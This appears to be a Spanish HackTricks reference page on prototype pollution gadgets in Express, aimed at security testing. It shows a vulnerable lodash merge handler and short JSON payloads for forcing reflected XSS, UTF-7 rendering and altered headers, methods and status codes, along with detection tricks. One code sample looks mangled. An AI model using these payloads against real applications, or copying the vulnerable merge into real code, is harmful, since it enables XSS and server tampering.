Gadgets de Contaminación de Prototipos de Express
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Servir respuestas XSS
Para más detalles echa un vistazo a la investigación original
Cambiar el tipo de contenido JSON a HTML
En una aplicación Express que utiliza una respuesta de tipo de contenido JSON y refleja un JSON:
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})
En estos casos, XSS no es normalmente posible con un tipo de contenido JSON. Sin embargo, con la contaminación del prototipo podemos confundir a Express para que sirva una respuesta HTML. Esta vulnerabilidad se basa en que la aplicación utiliza res.send(obj)
y usa el analizador de cuerpo con el tipo de contenido application/json.
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
Al contaminar las propiedades body
y _body
, es posible hacer que Express sirva el tipo de contenido HTML y refleje la propiedad _body
, lo que resulta en XSS almacenado.
Renderizar UTF7
Es posible hacer que express renderice contenido UTF-7 con:
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
Técnicas de Escaneo Seguro
Espacios JSON
El siguiente PP hará que los atributos dentro de un JSON tengan un espacio extra que no romperá la funcionalidad:
{ "__proto__": { "json spaces": " " } }
Entonces un JSON reflejado se verá así:
{"foo": "bar"} -- Note the extra space
Encabezados Expuestos
El siguiente gadget de PP hará que el servidor envíe de vuelta el encabezado HTTP: Access-Control-Expose_headers: foo
{ "__proto__": { "exposedHeaders": ["foo"] } }
Requiere que el módulo CORS esté instalado
Método OPTIONS
Con la siguiente carga útil, es posible ocultar un método de una respuesta OPTIONS:
// Original reponse: POST,GET,HEAD
// Payload:
{"__proto__":{"head":true}}
//New response: POST;GET
Estado
Es posible cambiar el código de estado devuelto utilizando la siguiente carga útil de PP:
{ "__proto__": { "status": 510 } }
Error
Cuando asignas a un prototipo con un primitivo como una cadena, produce una operación no operativa ya que el prototipo tiene que ser un objeto. Si intentas asignar un objeto prototipo al Object.prototype
en sí, esto lanzará una excepción. Podemos usar estos dos comportamientos para detectar si la contaminación del prototipo fue exitosa:
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception
Valor Reflejado
Cuando una aplicación incluye un objeto en su respuesta, crear un atributo con un nombre inusual junto a __proto__
puede ser revelador. Específicamente, si solo se devuelve el atributo inusual en la respuesta, esto podría indicar la vulnerabilidad de la aplicación:
{ "unusualName": "value", "__proto__": "test" }
Además, en escenarios donde se emplea una biblioteca como Lodash, establecer una propiedad tanto a través de la contaminación del prototipo (PP) como directamente dentro del objeto ofrece otro enfoque diagnóstico. Si tal propiedad se omite de la respuesta, sugiere que Lodash está verificando la existencia de la propiedad en el objeto objetivo antes de fusionar:
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
Varios
Permitir Puntos
Hay una opción en Express que te permite crear objetos a partir de parámetros de la cadena de consulta.
Definitivamente podrías usarlo en una cadena de errores para explotar una vulnerabilidad de contaminación de prototipos.
{ "__proto__": { "allowDots": true } }
?foo.bar=baz
crea un objeto en Node.
Referencias
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.